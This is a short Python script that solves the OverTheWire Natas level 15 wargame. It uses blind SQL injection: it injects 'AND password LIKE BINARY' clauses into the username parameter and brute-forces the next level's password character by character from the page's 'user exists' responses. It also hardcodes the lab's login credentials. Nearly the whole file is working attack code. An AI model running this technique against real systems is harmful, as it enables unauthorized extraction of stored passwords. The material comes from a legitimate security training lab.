#!/usr/bin/env python

import pycurl, requests

url = 'http://natas15.natas.labs.overthewire.org/index.php'
username = 'natas15'
password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'

exists = 'This user exists.'
doesnt_exist = 'This user doesn\'t exist.'

def checkChar(knownStr, nextChar):
    ind = len(knownStr)
    check = knownStr + nextChar + ('_'*(32-ind-1))
    urlAll = url+'?username=natas16" AND password LIKE BINARY "' + check
    #print urlAll
    r = requests.get(urlAll, auth=(username, password))
    #print r.status_code
    #print r.headers
    #print r.text
    #raw_input()
    return exists in r.text
    #return doesnt_exist not in r.text

#WaIHEac
#natas16" AND  password RLIKE BINARY "WaIHEac[a-z]
knownStr = "WaIHEac"
for i in range(len(knownStr) + 1, 33):
  print i, "symbol brutes:",
  charData = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
  for char in charData:
    print char,
    if checkChar(knownStr, char):
      knownStr += char
      print 'Found'
      break
  else:
    print 'Not Found'
  print "knownStr", knownStr